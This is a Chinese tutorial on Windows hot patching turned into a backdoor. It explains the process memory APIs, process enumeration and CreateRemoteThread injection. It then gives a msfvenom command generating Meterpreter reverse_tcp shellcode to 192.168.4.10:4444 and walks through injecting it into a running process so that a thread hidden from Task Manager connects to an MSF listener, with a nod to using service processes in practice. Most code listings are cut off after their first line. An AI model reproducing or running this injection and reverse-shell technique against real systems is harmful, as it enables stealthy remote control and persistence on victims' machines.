动态补丁又称热补丁,是指目标PE处于活跃状态时(即进程)为其实施的补丁。
一个完整的动态补丁一般需要具备以下四个要素:
1. 与其他进程通信的能力。
2. 良好的读写其他进程地址空间的能力。
3. 能正确的识别要补丁的目标进程。
4. 在其他进程地址空间执行代码的能力。
后门是指恶意程序或代码,通过绕过正常的访问控制机制,使攻击者能够在目标系统中保持持久的访问和控制权限。后门通常被用于非法入侵、数据盗取、远程控制等恶意活动。
在 Windows中,实现进程间通信的机制有很多方法,归纳一下分为两大类:
一种是通过两个进程实施的耦合性强的进程间通信。这种通信机制要求参与通信的两个进程必须密切配合,两个进程工作在服务器/客户端模式。这类通信机制主要包括匿名管道、命名管道、邮件槽、远程方法调用等。
另外一种是由第三方参与的耦合性相对较弱的进程间通信,比如通过剪贴板、共享内存、动态链接库、映射文件、注册表、一般文件、Socket、Windows消息队列、信号量等。
读写其他进程内存地址空间是动态补丁必须具备的功能,但Windows的安全机制不允许一个进程直接读写其他进程空间的数据,除非使用了特定的Windows API 函数。这些函数包括:
OpenProcess 通过设置访问权限打开要读写的进程 |
以下是这三个函数的详细介绍。
(1)OpenProcess函数
OpenProcess函数用来打开一个已存在的进程对象,并返回进程的句柄。函数原型定义如下:
HANDLE OpenProcess( |
各参数解释如下:
• dwDesiredAccess:访问权限。它可以是表1所列的值。
表1 OpenProcess函数dwDesiredAccess参数的值
• bInheritHandle:继承标志;如果设置为TRUE,表示继承打开的进程,否则表示不继承。
• dwProcessId:进程的ID号。
• 返回值:如果成功,返回值为指定进程的句柄;如果失败,返回值为空。
(2)ReadProcessMemory函数
读进程内存函数。以下是函数原型:
BOOL ReadProcessMemory( |
各参数解释如下:
• hProcess:远程进程的句柄,远程进程即为要操作的进程。
• pvAddressRemote:要操作的进程的地址空间,该地址为VA。
• pvBufferLocal:存放要操作的数据的本地缓冲区。
• dwSize:本地缓冲区大小。
• pdwNumBytesRead:输出参数,表示本次读取的实际字节数。
• 返回值:如果成功,返回TRUE,否则返回NULL。
(3) WriteProcessMemory函数
写进程内存函数。完整定义如下:
BOOL writeProcessMemory( |
读进程内存和写进程内存的函数的参数定义是一样的,各参数的解释如下:
• hProcess:指定将要被读写的目标进程句柄。
• pvAddressRemote:目标进程中被读写的起始线性地址。
• pvBufferLocal:用来接收读取数据的缓冲区(对于ReadProcessMemory 函数)或者要写到目标进程的数据缓冲区(对于WriteProcessMemory 函数)。
• dwSize:要读写的字节数。
• pdwNumBytesRead:指向一个双字变量,供函数返回实际读写的字节数﹔如果不关心这个结果,可以将其设置为NULL。
• 返回值:如果函数执行成功,那么返回值是非0值,执行失败的话返回0。
在进行动态补丁时,有一步是必需的,即获取目标进程的句柄或者ID号。通过枚举系统进程即可获取这些信息。
枚举Win32子系统进程的方法很多,常见的有以下四种。
(1)调用PSAPI.DLL提供的函数
该动态链接库是微软Windows NT开发小组开发的与进程有关的函数集。核心函数包括:
EnumDeviceDrivers、EnumPageFilesA、EnumPageFilesw、EnumProcessModules、EnumProcesses |
(2)调用ToolHelp API提供的函数
ToolHelp32函数是一组存储在Kernel32.dll中的Windows API函数,它能够通过Snapshot获得驻留在系统内存中的进程表、线程表、模块表和堆表。核心函数包括:
CreateToolhelp32Snapshot、Process32First、Process32Firstw、Process32Next、Process32Nextw、Module32First、Module32Firstw、Module32Next、Module32Nextw |
(3)调用ntdll.dll中未公开的API函数
在ntdll.dll中,有一组以NtQuery开头的函数集,利用其中的函数可以获取系统相关数据结构的信息,其中就包括进程信息。核心函数包括:
NtQueryInformationProcess、NtQueryInformationThread、NtQuerySystemInformation |
(4)调用PDH.DLL中的API函数
PDH(Performance Data Helper,性能数据辅助数据库)中包含了大量的信息,例如CPU使用率、内存使用率、系统进程信息等;该数据库既可以通过注册表函数来访问,也可以通过动态链接库PDH.DLL提供的系列函数访问。核心函数包括:
PdhCloseQuery、PdhOpenQueryA、PdhOpenQueryH、PdhOpenQueryW、PdhEnumObjectItemsA、PdhEnumObjectItemsHA、PdhEnumObjectItemsHW、PdhEnumObjectItemsW、PdhAddCounterA、pdhAddCounterW、PdhCollectQueryData、PdhCollectQueryDataEx、 |
大部分的动态补丁最后一步要实现代码的运行,即确保插入到目标进程内存的数据要具备运行权,并能最终运行起来。在一个进程中要运行插入的代码,最好的办法就是通过远程线程技术,即将一段代码挂接到目标进程中,并指定代码块作为该目标进程的一个线程来运行。
Windows API为远程线程执行提供了函数支持。以下是大致的步骤:
1. 使用OpenProcess函数打开目标进程,获取进程操作句柄。
2. 使用VirtualAllocEx函数在目标进程中分配内存。
3. 使用WriteProcessMemory函数将远程代码写入。
4. 使用CreateRemoteThread函数在目标进程中创建远程线程并执行。
OpenProcess函数和WriteProcessMemory函数前面已经介绍过,下面重点介绍另外两个函数。
(1)VirtualAllocEx函数
VritualAllocEx函数内存分配函数的原型如下:
LPVOID virtualAllocEx( |
其中各参数解释如下:
flAllocationType,内存分配属性,可取下列值:
MEM_COMMIT 为特定的页面区域分配内存中或磁盘的页面文件中的物理存储。MEM_PHYSICAL 分配物理内存(仅用于地址窗口扩展内存)。 |
fIProtect,分配区的页面属性,可取下列值:
PAGE_READONLY 区域为只读,如果应用程序试图访问区域中的页的时候,将会被拒绝访问。 PAGE_READWRITE 区域可被应用程序读写。 PAGE_EXECUTE 区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。 PAGE_EXECUTE_READ 区域包含可执行代码,应用程序可以读该区域。 PAGE_EXECUTE_READWRITE 区域包含可执行代码,应用程序可以读写该区域。 PAGE_GUARD 区域第一次被访问时进入一个STATUS_GUARD_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限。 PAGE_NOACCESS 任何访问该区域的操作将被拒绝。 PAGE_NOCACHE RAM中的页映射到该区域时将不会被微处理器缓存(cached)。
|
返回值:如果执行成功就返回分配内存的首地址,不成功则返回NULL。
(2)CreateRemoteThread函数
CreateRemoteThread函数的原型如下:
HANDLE CreateRemoteThread( |
各参数解释如下:
• hProcess,目标进程句柄。
• lpThreadAttributes,线程安全描述字,一个指向SECURITY_ATTRIBUTES结构的指针。
• dwStackSize,线程栈大小,以字节表示。
• lpStartAddress,一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址。
• lpParameter,传入参数。
• dwCreationFlags,创建线程的其他标志。
• lpThreadId,(输出),返回线程号,如果为NULL,则不返回。
• 返回值:如果成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。
在Linux虚拟机中使用MSF生成shellcode:
msfvenom -a x86 --platform wimdows -p windows/meterpreter/reverse_tcp LHOST=192.168.4.10 LPORT=4444 -f c -o shellcode.c |
结合前面的补丁技术,写出带后门的动态补丁程序,源码如下:
#include <cstdio> |
编译后重命名为AsantsNB.exe,放入Windows 10虚拟机进行测试。先在MSF中进行监听:
msf6 > use exploit/multi/handler |
在Windows 10虚拟机中先执行peinfo.exe程序(在实战中可以是系统中的某个服务的进程),使用Process Explorer查看当前peinfo.exe的线程信息:
执行AsantsNB.exe,创建后门的远程线程。此时查看peinfo.exe的线程信息:
其中TID为6268的线程,即为后门的线程。MSF中可以看到该机器已上线:
此时,查看任务管理器是不显示该线程的: